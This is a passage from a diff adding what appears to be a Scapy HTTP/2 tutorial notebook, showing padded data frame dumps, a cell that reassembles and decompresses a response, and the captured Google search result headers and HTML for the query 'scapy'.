xd8\\xb0\\x87\\x08\\xc5)Z\\x9b\\xf9\\x19[\\x89\\xda\\x14?0a\\x9c\\xe1M\\x99\\xb5h\\xbb\\x83\\x01\\xb1\\x99\\x17M\\xe2\\xe6\\xe9G\\xe7Q@&f\\xd1\\xd1#\\xdb)96p\\x13\\x0ev!]\\xf6&\\xc6\\xaf\\x11?_\\xd8\\xaf\\x11\\xf6\\xe2P\\r\\xa5\\x07\\xe3\\x85\\xe3\\x12\\x7f\\x17\\xe3\\x8db7;\\xbcb\\x82H\\xb5{\\x14{\\xb8\\xe0\\xa7xB\\x8a\\xa5\\xaf\\xc1\\x97\\x18\\xb26\\xf8\\x92\\xcf\\xb4\\xc8\\x9f;\\x11\\x1d\\x87\\x8c\\xa3\\xdb\\x18[\\x80mxf\\xdeCa\\xc6\\xea\\xe0[\\xe8\\xa1\\xa9\\xf8E\\xac>\\x94\\xfe\\x85\\xbf\\x13<\\xd3-\\xd6\\xcf\\xee}\\x13\\xe1\\xfc\\x01\\xb3D\\xcd\\xefB\\x06\\x8f\\xf9Sn#\\x9d\\xdf\\xfav\\xb8\\xc5\\x03\\xf8]\\xdc(\\xfd\\xc8ox\\x03\\x1dJ&\\xf0\\x82D\\x8aY\\xf8\\xeb\\x18C\\xe8\\xf2\\xb8\\xa0\\xea\\x85\\xc3\\x93\\xd6E\\xaa|\\x9f\\xbc8\\x10\\xdd\\x9c\\xabds\\xe7\\xb3\\xe1\\xb4\\x1d\\xf9\\xf3\\xa7\\x17\\xd3c\\x86s\\xe5\\xca\\x8aQ\\xfa\\xddK\\xd9\\x90\\xd8\\xe1r8\\xf1\\xe7\\x934\\xa8\\x92\\x9f\\xf2\\x98b\\x18\\x90K,\\xb6\\xd3\\x0b=\\xab\\xb1:0_\\xf0w\\xd2\\x1f\\x7f|\\xd7\\xfb\\t?\\x93\\xfd\">Fv\\x80\\xb1\\x95;\\x9dd\\xd9\\x18\\x99\\x92\\x13)\\x95d\\xf4\\xb4\\xc1e\\xd3P\\xc8\\xcf\\xf2\\xbc\\x9c\\x97\\x9f\\xb3(\\xc7\\x90\\xc3\\xedH%%\\xc6\\xe7\\xa7\\xdf\\xb4\\x7f\\xef5+}\\xf8\\xd0\\xfb\\xf0\\xe1G\\xe9\\xbb\\xd2\\x02\\xae\\x18\\x83\\xe6\\x8f?z\\xa1\\x87\\x1c\\xd6E\\xea[\\x96T\\x13\\xd0\\x0e\\xff\\xe2\\xbcJL\\xb0\\xfb\\xf3\\x07/\\xbbn\\x8fN\\xbc\\xf4\\xba=\\xaa\\xb2\\xf4\\xba\\xe1$\\xbf\\xc0\\x1f\\x97\\x93\\x98.1\\xc9\\xb8\\xc7\\xa3Q\\x08\\xec\\xfd?\\x00\\x00\\x00\\xff\\xff'\n",
+        "     padding   = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x5b\n",
+        "  type      = DataFrm\n",
+        "  flags     = set(['End Stream (ES)', 'Padded (P)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 5L\n",
+        "###[ HTTP/2 Padded Data Frame ]### \n",
+        "     padlen    = 80\n",
+        "     data      = '\\x03\\x00\\x1d\\x82P[\\x14\\xaa\\x00\\x00'\n",
+        "     padding   = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 137
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Let's display the answer in human-readable format. We assume, once more for the sake of simplicity that we received very few headers."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "stream_txt = srv_tblhdr.gen_txt_repr(h2seq.frames[0])\n",
+      "data = ''\n",
+      "for frgmt in h2seq.frames[1:]:\n",
+      "    data += frgmt.payload.data\n",
+      "print(stream_txt)\n",
+      "HTML(zlib.decompress(data, 16+zlib.MAX_WBITS).decode(\"utf-8\", \"ignore\"))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        ":status 200\n",
+        "date: Tue, 13 Dec 2016 17:36:19 GMT\n",
+        "p3p: CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\"\n",
+        "server: gws\n",
+        "content-length: 4420\n",
+        "expires: Fri, 16 Dec 2016 06:23:59 GMT\n",
+        "set-cookie: NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly\n",
+        "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n",
+        "date: Tue, 13 Dec 2016 17:36:19 GMT\n",
+        "cache-control: private, max-age=0\n"
+       ]
+      },
+      {
+       "html": [
+        "<!doctype html><html itemscope=\"\" itemtype=\"http://schema.org/SearchResultsPage\" lang=\"fr\"><head><meta content=\"text/html; charset=UTF-8\" http-equiv=\"Content-Type\"><meta content=\"/images/branding/googleg/1x/googleg_standard_color_128dp.png\" itemprop=\"image\"><link href=\"/images/branding/product/ico/googleg_lodp.ico\" rel=\"shortcut icon\"><title>scapy - Recherche Google</title><style>#gbar,#guser{font-size:13px;padding-top:1px !important;}#gbar{height:22px}#guser{padding-bottom:7px !important;text-align:right}.gbh,.gbd{border-top:1px solid #c9d7f1;font-size:1px}.gbh{height:0;position:absolute;top:24px;width:100%}@media all{.gb1{height:22px;margin-right:.5em;vertical-align:top}#gbar{float:left}}a.gb1,a.gb4{text-decoration:underline !important}a.gb1,a.gb4{color:#00c !important}.gbi .gb4{color:#dd8e27 !important}.gbf .gb4{color:#900 !important} </style><style>.star{float:left;margin-top:1px;overflow:hidden}._yhd{font-size:11px}.j{width:34em}body,td,div,.p,a{font-family:arial,sans-serif;tap-highlight-color:rgba(255,255,255,0)}body{margin:0}a img{border:0}#gbar{float:left;height:22px;padding-left:2px;font-size:13px}.gsfi,.gsfs{font-size:17px}.w,.q:active,.q:visited,.tbotu{color:#11c}a.gl{text-decoration:none}._Umd a:link{color:#0E1CB3}#foot{padding:0 8px}#foot a{white-space:nowrap}h3{font-size:16px;font-weight:normal;margin:0;padding:0}#res h3{display:inline}.hd{height:1px;position:absolute;top:-1000em}.g,body,html,table,.std{font-size:13px}.g{margin-bottom:23px;margin-top:0;zoom:1}ol li,ul li{list-style:none}h1,ol,ul,li{margin:0;padding:0}#mbEnd h2{font-weight:normal}.e{margin:2px 0 0.75em}#leftnav a{text-decoration:none}#leftnav h2{color:#767676;font-weight:normal;margin:0}#nav{border-collapse:collapse;margin-top:17px;text-align:left}#nav td{text-align:center}.nobr{white-space:nowrap}.ts{border-collapse:collapse}.s br{display:none}.csb{display:block;height:40px}.images_table td{line-height:17px;padding-bottom:16px}.images_table img{border:1px solid #ccc;padding:1px}#tbd,#abd{display:block;min-height:1px}#abd{padding-top:3px}#tbd li{display:inline}._ITd,._JTd{margin-bottom:8px}#tbd .tbt li{display:block;font-size:13px;line-height:1.2;padding-bottom:3px;padding-left:8px;text-indent:-8px}.tbos,.b{font-weight:bold}em{font-weight:bold;font-style:normal}.mime{color:#1a0dab;font-weight:bold;font-size:x-small}._lwd{right:-2px !important;overflow:hidden}.soc a{text-decoration:none}.soc{color:#808080}._AC a{text-decoration:none}._AC{color:#808080}._kgd{color:#e7711b}#_vBb{border:1px solid #e0e0e0;margin-left:-8px;margin-right:-8px;padding:15px 20px 5px}._m3b{font-size:32px}._eGc{color:#777;font-size:16px;margin-top:5px}._H0d{color:#777;font-size:14px;margin-top:5px}._HLh{border:1px solid #e0e0e0;padding-left:20px}._Tki{border:1px solid #e0e0e0;padding:5px 20px}#vob{border:1px solid #e0e0e0;padding:15px 15px}#_Nyc{font-size:22px;line-height:22px;padding-bottom:5px}#vob_st{line-height:1.24}._Tsb{border-width:1px;border-style:solid;border-color:#eee;background-color:#fff;position:relative;margin-bottom:26px}._Peb,._Qeb,._Usb{font-family:Arial;font-weight:lighter}._Peb{margin-bottom:5px}._Peb{font-size:xx-large}._Qeb{font-size:medium}._Usb{font-size:small}._Tsb{margin-left:-8px;margin-right:-15px;padding:20px 20px 24px}._rOc{border-spacing:0px 2px}._sOc{max-width:380px;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;padding-left:0px}._v9b{padding-left:15px;white-space:nowrap;color:#666}._pOc{padding-left:0px}._rkc{color:#212121}._HOb{color:#878787}._lMf{color:#093}._jMf{color:#c00}._kMf{padding:1px}._CKg{color:#dd4b39}.gssb_a{padding:0 10px !important}.gssb_c{left:132px !important;right:295px !important;top:78px !important;width:572px !important}.gssb_c table{font-size:16px !important}.gssb_e{border:1px solid #ccc !important;border-top-color:#d9d9d9 !important}.gssb_i{background:#eee !important}#res{padding:0 8px}#rhs_block{padding-top:43px}#_FQd{padding:0 8px}#subform_ctrl{font-size:11px;height:17px;margin:5px 3px 0 17px}.taf{padding-bottom:3px}._chd{padding:20px 0 3px}._bhd{padding:20px 0 3px}#topstuff .e{padding-bottom:6px}.slk .sld{width:250px}.slk{margin-bottom:-3px}.slk ._z3b{padding-bottom:5px;width:250px}._QPd{margin-top:1px;margin-bottom:-11px}._zuc{color:#545454}._Auc{padding-top:2px;padding-bottom:1px}._Buc{padding-top:1px;margin-bottom:14px}.ac,.st{line-height:1.24}.mfr,#ofr{font-size:16px;margin:1em 0;padding:0 8px}._tLi{padding-bottom:25px}.s{color:#545454}.ac,._JEe{color:#545454}a.fl,._cD a,.osl a{color:#1a0dab;text-decoration:none}a:link{color:#1a0dab;cursor:pointer}#tads a:link{color:#1a0dab}#tads .soc a:link{color:#808080}#tads ._AC a:link{color:#808080}._AC a:link{color:#808080}._AC a:visited{color:#808080}._AC a:hover{color:#808080;text-decoration:underline}a:visited{color:#61C}.blg a{text-decoration:none}cite,cite a:link{color:#006621;font-style:normal}#tads cite{color:#006621}.kv{font-size:15px}.kvs{margin-top:1px}.kv,.kvs,.slp{display:block;margin-bottom:1px}.kt{border-spacing:2px 0;margin-top:1px}#mbEnd li{margin:20px 8px 0 0}.f{color:#808080}._pJb{color:#093}h4.r{display:inline;font-size:small;font-weight:normal}.g{line-height:1.2}._sPb{display:inline-block;vertical-align:top;overflow:hidden;position:relative}._Gnc{margin:0 0 2em 1.3em}._Gnc li{list-style-type:disc}.osl{color:#777;margin-top:4px}.r{font-size:16px;margin:0}.spell{font-size:16px}.spell_orig{font-size:13px}.spell_orig a{text-decoration:none}.spell_orig b i{font-style:normal;font-weight:normal}.th{border:1px solid #ebebeb}.ts td{padding:0}.videobox{padding-bottom:3px}.slk a{text-decoration:none}#leftnav a:hover,#leftnav .tbou a:hover,.slk h3 a,a:hover{text-decoration:underline}#mn{table-layout:fixed;width:100%}#leftnav a{color:#222;font-size:13px}#leftnav{padding:43px 4px 4px 0}.tbos{color:#dd4b39}._AEd{border-top:1px solid #efefef;font-size:13px;margin:10px 0 14px 10px;padding:0}.tbt{margin-bottom:28px}#tbd{padding:0 0 0 16px}.tbou a{color:#222}#center_col{border:0;padding:0 8px 0 0}#topstuff .e{padding-top:3px}#topstuff .sp_cnt{padding-top:6px}#ab_name{color:#dd4b39;font:20px \"Arial\";margin-left:15px}._fld{border-bottom:1px solid #dedede;height:56px;padding-top:1px}#resultStats{color:#999;font-size:13px;overflow:hidden;white-space:nowrap}.mslg>td{padding-right:1px;padding-top:2px}.slk .sld{margin-top:2px;padding:5px 0 5px 5px}._Mvd,.fmp{padding-top:3px}.close_btn{overflow:hidden}#fll a,#bfl a{color:#1a0dab !important;margin:0 12px;text-decoration:none !important}.ng{color:#dd4b39}#mss{margin:.33em 0 0;padding:0;display:table}._mY{display:inline-block;float:left;white-space:nowrap;padding-right:16px}#mss p{margin:0;padding-top:5px}.tn{border-bottom:1px solid #ebebeb;display:block;float:left;height:59px;line-height:54px;min-width:980px;padding:0;position:relative;white-space:nowrap}._UXb,a._UXb{color:#777;cursor:pointer;display:inline-block;font-family:arial,sans-serif;font-size:small;height:54px;line-height:54px;margin:0 8px;padding:0 8px;text-decoration:none;white-space:nowrap}._Ihd{border-bottom:3px solid #dd4b39;color:#dd4b39;font-weight:bold;margin:2px 8px 0}a._Jhd:hover{color:black;text-decoration:none;white-space:nowrap}body{margin:0;padding:0}._sxc{display:inline-block;float:left;margin-top:2px}._Hhd,a._Hhd{margin-left:1px}.sd{line-height:43px;padding:0 8px 0 9px}a:active,.osl a:active,.tbou a:active,#leftnav a:active{color:#dd4b39}#_Xud a:active,#bfl a:active{color:#dd4b39 !important}.csb{background:url(/images/nav_logo229.png) no-repeat;overflow:hidden}.close_btn{background:url(/images/nav_logo229.png) no-repeat -138px -84px;height:14px;width:14px;display:block}.star{background:url(/images/nav_logo229.png) no-repeat -94px -245px;height:13px;width:65px;display:block}.star div,.star span{background:url(/images/nav_logo229.png) no-repeat 0 -245px;height:13px;width:65px;display:block}._nBb{display:inline;margin:0 3px;outline-color:transparent;overflow:hidden;position:relative}._nBb>div{outline-color:transparent}._O0{border-color:transparent;border-style:solid dashed dashed;border-top-color:green;border-width:4px 4px 0 4px;cursor:pointer;display:inline-block;font-size:0;height:0;left:4px;line-height:0;outline-color:transparent;position:relative;top:-3px;width:0}._O0{margin-top:-4px}.am-dropdown-menu{display:block;background:#fff;border:1px solid #dcdcdc;font-size:13px;left:0;padding:0;position:absolute;right:auto;white-space:nowrap;z-index:3}._Ykb{list-style:none;white-space:nowrap}._Ykb:hover{background-color:#eee}a._Zkb{color:#333;cursor:pointer;display:block;padding:7px 18px;text-decoration:none}#tads a._Zkb{color:#333}.sfbgg{background:#f1f1f1;border-bottom:1px solid #e5e5e5;height:71px}#logocont{z-index:1;padding-left:4px;padding-top:4px}#logo{display:block;height:49px;margin-top:12px;margin-left:12px;overflow:hidden;position:relative;width:137px}#logo img{left:0;position:absolute;top:-41px}.lst-a{background:white;border:1px solid #d9d9d9;border-top-color:silver;width:570px}.lst-a:hover{border:1px solid #b9b9b9;border-top:1px solid #a0a0a0;box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1)}.lst-td{border:none;padding:0}.tia input{border-right:none;padding-right:0}.tia{padding-right:0}.lst{background:none;border:none;color:#000;font:16px arial,sans-serif;float:left;height:22px;margin:0;padding:3px 6px 2px 9px;vertical-align:top;width:100%;word-break:break-all}.lst:focus{outline:none}.lst-b{background:none;border:none;height:26px;padding:0 6px 0 12px}.ds{border-right:1px solid #e7e7e7;position:relative;height:29px;margin-left:17px;z-index:100}.lsbb{background-image:-moz-linear-gradient(top,#4d90fe,#4787ed);background-image:-ms-linear-gradient(top,#4d90fe,#4787ed);background-image:-o-linear-gradient(top,#4d90fe,#4787ed);background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#4787ed));background-image:-webkit-linear-gradient(top,#4d90fe,#4787ed);background-image:linear-gradient(top,#4d90fe,#4787ed);border:1px solid #3079ed;border-radius:2px;background-color:#4d90fe;height:27px;width:68px}.lsbb:hover{background-image:-moz-linear-gradient(top,#4d90fe,#357ae8);background-image:-ms-linear-gradient(top,#4d90fe,#357ae8);background-image:-o-linear-gradient(top,#4d90fe,#357ae8);background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#357ae8));background-image:-webkit-linear-gradient(top,#4d90fe,#357ae8);background-color:#357ae8;background-image:linear-gradient(top,#4d90fe,#357ae8);border:1px solid #2f5bb7}.lsb{background:transparent;background-position:0 -343px;background-repeat:repeat-x;border:none;color:#000;cursor:default;font:15px arial,sans-serif;height:29px;margin:0;vertical-align:top;width:100%}.lsb:active{-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.3);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.3);box-shadow:inset 0 1px 2px rgba(0,0,0,0.3);background:transparent;color:transparent;overflow:hidden;position:relative;width:100%}.sbico{color:transparent;display:inline-block;height:15px;margin:0 auto;margin-top:2px;width:15px;overflow:hidden}</style><script>(function(){window.google={kEI:'kzFQWN-hEcKya4KMgVA',kEXPI:'20782,750721,1351903,3700243,4029815,4032677,4038012,4041899,4043492,4045841,4048347,4055745,4062666,4065787,4067860,4068550,4068560,4069838,4069841,4072602,4072775,4073405,4073728,4073959,4074597,4074955,4076095,4076931,4076999,4078438,4078456,4078764,4079106,4079442,4079626,4079874,4079894,4079954,4080167,4081037,4081039,4082056,4082165,4082217,4082619,4083476,4084298,4084343,4084956,4085057,4085627,4086011,4086290,4086863,4087718,4087977,4088429,4088436,4088448,4088643,4089003,4089106,4089337,4089346,4089347,4089481,4089538,4089696,4089741,4089749,4089753,4090086,4090352,4090401,4090445,4090806,8300096,8300273,8300478,8506615,8507381,8507419,8507858,8507899,8508059,8508065,8508590,8508957,8509066,8509243,10200083,13500022',authuser:0,kscs:'c9c918f0_24'};google.kHL='fr';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute(\"eid\")));)a=a.parentNode;return b||google.kEI};google.getLEI=function(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute(\"leid\")));)a=a.parentNode;return b};google.https=function(){return\"https:\"==window.location.protocol};google.ml=function(){return null};google.wl=function(a,b){try{google.ml(Error(a),!1,b)}catch(c){}};google.time=function(){return(new Date).getTime()};google.log=function(a,b,c,d,g){a=google.logUrl(a,b,c,d,g);if(\"\"!=a){b=new Image;var e=google.lc,f=google.li;e[f]=b;b.onerror=b.onload=b.onabort=function(){delete e[f]};window.google&&window.google.vel&&window.google.vel.lu&&window.google.vel.lu(a);b.src=a;google.li=f+1}};google.logUrl=function(a,b,c,d,g){var e=\"\",f=google.ls||\"\";c||-1!=b.search(\"&ei=\")||(e=\"&ei=\"+google.getEI(d),-1==b.search(\"&lei=\")&&(d=google.getLEI(d))&&(e+=\"&lei=\"+d));a=c||\"/\"+(g||\"gen_204\")+\"?atyp=i&ct=\"+a+\"&cad=\"+b+e+f+\"&zx=\"+google.time();/^http:/i.test(a)&&google.https()&&(google.ml(Error(\"a\"),!1,{src:a,glmm:1}),a=\"\");return a};google.y={};google.x=function(a,b){google.y[a.id]=[a,b];return!1};google.lq=[];google.load=function(a,b,c){google.lq.push([[a],b,c])};google.loadAll=function(a,b){google.lq.push([a,b])};}).call(this);(function(){var b=[function(){google.c&&google.tick(\"load\",\"dcl\")}];google.dcl=!1;google.dclc=function(a){google.dcl?a():b.push(a)};function c(){if(!google.dcl){google.dcl=!0;for(var a;a=b.shift();)a()}}window.addEventListener?(document.addEventListener(\"DOMContentLoaded\",c,!1),window.addEventListener(\"load\",c,!1)):window.attachEvent&&window.attachEvent(\"onload\",c);}).call(this);</script><script type=\"text/javascript\"></script><script>(function(){var a=function(f){for(var g=f.parentElement,d=null,e=0;e<g.childNodes.length;e++){var h=g.childNodes[e];-1<(\" \"+h.className+\" \").indexOf(\" am-dropdown-menu \")&&(d=h)}\"none\"==d.style.display?(d.style.display=\"\",google.log(\"hpam\",\"&ved=\"+f.getAttribute(\"data-ved\"))):d.style.display=\"none\"},b=[\"google\",\"sham\"],c=this;b[0]in c||!c.execScript||c.execScript(\"var \"+b[0]);for(var k;b.length&&(k=b.shift());)b.length||void 0===a?c[k]?c=c[k]:c=c[k]={}:c[k]=a;}).call(this);</script></head><body class=\"hsrp\" bgcolor=\"#ffffff\" marginheight=\"0\" marginwidth=\"0\" topmargin=\"0\"><div id=gbar><nobr><b class=gb1>Recherche</b> <a class=gb1 href=\"https://www.google.fr/search?hl=fr&tbm=isch&source=og&tab=wi\">Images</a> <a class=gb1 href=\"https://maps.google.fr/maps?hl=fr&tab=wl\">Maps</a> <a class=gb1 href=\"https://play.google.com/?hl=fr&tab=w8\">Play</a> <a class=gb1 href=\"https://www.youtube.com/results?gl=FR&tab=w1\">YouTube</a> <a class=gb1 href=\"https://news.google.fr/nwshp?hl=fr&tab=wn\">Actualits</a> <a class=gb1 href=\"https://mail.google.com/mail/?tab=wm\">Gmail</a> <a class=gb1 href=\"https://drive.google.com/?tab=wo\">Drive</a> <a class=gb1 style=\"text-decoration:none\" href=\"https://www.google.fr/intl/fr/options/\"><u>Plus</u> &raquo;</a></nobr></div><div id=guser width=100%><nobr><span id=gbn class=gbi></span><span id=gbf class=gbf></span><span id=gbe></span><a href=\"http://www.google.fr/history/optout?hl=fr\" class=gb4>Historique Web</a> | <a  href=\"/preferences?hl=fr\" class=gb4>Paramtres</a> | <a target=_top id=gb_70 href=\"https://accounts.google.com/ServiceLogin?hl=fr&passive=true&continue=https://www.google.fr/search%3Fq%3Dscapy\" class=gb4>Connexion</a></nobr></div><div class=gbh style=left:0></div><div class=gbh style=right:0></div><table id=\"mn\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"position:relative\"><tr><th width=\"132\"></th><th width=\"573\"></th><th width=\"278\"></th><th></th></tr><tr><td class=\"sfbgg\" valign=\"top\"><div id=\"logocont\"><h1><a href=\"/webhp?hl=fr\" style=\"background:url(/images/nav_logo229.png) no-repeat 0 -41px;height:37px;width:95px;display:block\" id=\"logo\" title=\"Go to Google Home\"></a></h1></div></td><td class=\"sfbgg\" colspan=\"2\" valign=\"top\" style=\"padding-left:0px\"><form style=\"display:block;margin:0;background:none\" action=\"/search\" id=\"tsf\" method=\"GET\" name=\"gs\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin-top:20px;position:relative\"><tr><td><div class=\"lst-a\"><table cellpadding=\"0\" cellspacing=\"0\"><tr><td class=\"lst-td\" width=\"555\" valign=\"bottom\"><div style=\"position:relative;zoom:1\"><input class=\"lst\" value=\"scapy\" title=\"Rechercher\" autocomplete=\"off\" id=\"sbhost\" maxlength=\"2048\" name=\"q\" type=\"text\"></div></td></tr></table></div></td><td><div class=\"ds\"><div class=\"lsbb\"><button class=\"lsb\" value=\"Rechercher\" name=\"btnG\" type=\"submit\"><span class=\"sbico\" style=\"background:url(/images/nav_logo229.png) no-repeat -36px -111px;height:14px;width:13px;display:block\"></span></button></div></div></td></tr></table></form></td><td class=\"sfbgg\">&nbsp;</td></tr><tr style=\"position:relative\"><td><div style=\"border-bottom:1px solid #ebebeb;height:59px\"></div></td><td colspan=\"2\"><div class=\"tn\"><div class=\"_UXb _Ihd _sxc _Hhd\">Tous</div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUIBQ\">Images</a></div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=vid&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUIBg\">Vidos</a></div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=nws&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUIBw\">Actualits</a></div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=shop&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUICA\">Shopping</a></div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"https://maps.google.fr/maps?q=scapy&amp;um=1&amp;ie=UTF-8&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUICQ\">Maps</a></div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=bks&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUICg\">Livres</a></div></div><div style=\"border-bottom:1px solid #ebebeb;height:59px\"></div></td><td><div style=\"border-bottom:1px solid #ebebeb;height:59px\"></div></td></tr><tbody data-jibp=\"h\" data-jiis=\"uc\" id=\"desktop-search\"><style>._Bu,._Bu a:link,._Bu a:visited,a._Bu:link,a._Bu:visited{color:#808080}._kBb{color:#61C}.ellip{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}</style><tr><td id=\"leftnav\" valign=\"top\"><div><h2 class=\"hd\">Search Options</h2><ul class=\"med\" id=\"tbd\"><li><ul class=\"tbt\"><li class=\"tbos\" id=\"lr_\">Tous les pays</li><li class=\"tbou\" id=\"ctr_countryFR\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=ctr:countryFR&amp;cr=countryFR&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\">Pays: France</a></li></ul></li><li><ul class=\"tbt\"><li class=\"tbos\" id=\"lr_\">Toutes les langues</li><li class=\"tbou\" id=\"lr_lang_1fr\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=lr:lang_1fr&amp;lr=lang_fr&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\">Pages en franais</a></li></ul></li><li><ul class=\"tbt\"><li class=\"tbos\" id=\"qdr_\">Date indiffrente</li><li class=\"tbou\" id=\"qdr_h\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:h&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\"> Moins d'une heure</a></li><li class=\"tbou\" id=\"qdr_d\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\"> Moins de 24heures</a></li><li class=\"tbou\" id=\"qdr_w\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:w&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\"> Moins d'une semaine</a></li><li class=\"tbou\" id=\"qdr_m\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:m&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\"> Moins d'un mois</a></li><li class=\"tbou\" id=\"qdr_y\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:y&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\"> Moins d'un an</a></li></ul></li><li><ul class=\"tbt\"><li class=\"tbos\" id=\"li_\">Tous les rsultats</li><li class=\"tbou\" id=\"li_1\"><a class=\"q\" 